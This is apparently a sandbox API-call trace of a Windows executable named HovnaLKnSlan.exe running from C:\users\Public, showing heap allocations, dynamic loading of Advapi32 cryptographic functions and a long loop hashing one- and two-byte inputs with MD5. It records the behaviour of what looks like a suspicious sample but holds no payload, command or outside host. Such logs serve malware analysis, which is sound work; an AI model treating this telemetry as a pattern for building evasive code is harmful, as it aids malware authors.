	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2ca3e0
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x52) returned 0x2ca430
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2ca490
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x82) returned 0x2ca4e0
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2e) returned 0x2c9420
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1e) returned 0x2c4020
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2c) returned 0x2c9460
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2ca570
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x52) returned 0x2ca5d0
	[0125.728] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x2a) returned 0x2c94a0
	[0125.729] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x3c) returned 0x2ca630
	[0125.729] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x54) returned 0x2ca680
	[0125.729] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x24) returned 0x2c4050
	[0125.729] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x30) returned 0x2c94e0
	[0125.729] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x8c) returned 0x2ca6e0
	[0125.729] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ca7d0 | out: hHeap=0x2b0000) returned 1
	[0125.729] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x1000) returned 0x2ca780
	[0125.729] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13fdb8104) returned 0x0
	[0125.777] GetStartupInfoW (in: lpStartupInfo=0x22f8c0 | out: lpStartupInfo=0x22f8c0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\users\\Public\\HovnaLKnSlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0125.970] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0125.986] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0125.987] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0125.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0125.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0125.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0125.988] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0125.988] CryptAcquireContextA (in: phProv=0x173b88, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x173b88*=0x2cd2f0) returned 1
	[0126.108] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.108] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.108] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.108] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.109] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.109] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.109] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.109] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.109] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.109] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.109] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.109] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.109] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.109] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.109] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.109] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.109] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.110] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.110] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.110] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.110] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.110] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.110] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.110] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.110] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.110] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.110] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.110] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.110] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.110] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.110] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.111] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.111] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.111] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.111] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.111] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.111] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.111] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.111] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.111] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.111] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.111] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.111] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.111] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.111] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.111] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.111] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.112] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.112] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.112] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.112] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.112] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.112] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.112] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.112] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.112] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.112] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.112] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.112] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.112] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.112] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.112] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0126.112] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.113] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.113] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.113] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.113] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.113] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.113] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.113] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.113] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.113] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.113] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.113] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.113] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.113] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.113] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.114] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.114] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.114] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.114] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.114] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.114] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.114] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.114] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.114] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.114] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.114] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.114] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.114] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.114] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.114] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.115] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.115] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.115] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.115] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.115] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.115] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.115] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.115] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.115] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.115] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.115] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.115] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.115] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.116] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.116] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.116] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.116] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.116] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.116] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.116] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.116] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.116] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.116] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.116] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.116] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.116] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.117] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.117] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.117] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.117] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.117] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.117] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.117] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.117] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.117] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.117] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.117] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.117] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.117] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.117] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.118] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.118] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.118] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.118] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.118] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.118] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.118] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.118] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.118] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.118] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.118] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.118] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.118] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.118] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.119] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.119] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.119] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.119] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.119] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.119] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.119] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.119] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.119] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.119] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.119] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.119] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.119] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.119] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.120] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.120] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.120] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.120] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.120] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.120] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.120] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.120] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.120] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.154] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.154] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.154] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.154] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.154] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.154] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.154] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.154] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.154] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0126.154] CryptGetHashParam (in: hHash=0x2cd790, dwParam=0x2, pbData=0x173ba8, pdwDataLen=0x173c48, dwFlags=0x0 | out: pbData=0x173ba8, pdwDataLen=0x173c48) returned 1
	[0126.155] CryptDestroyHash (hHash=0x2cd790) returned 1
	[0126.155] CryptCreateHash (in: hProv=0x2cd2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x173b70 | out: phHash=0x173b70) returned 1
	[0126.155] CryptHashData (hHash=0x2cd790, pbData=0x173b78, dwDataLen=0x2, dwFlags=0x0) returned 1
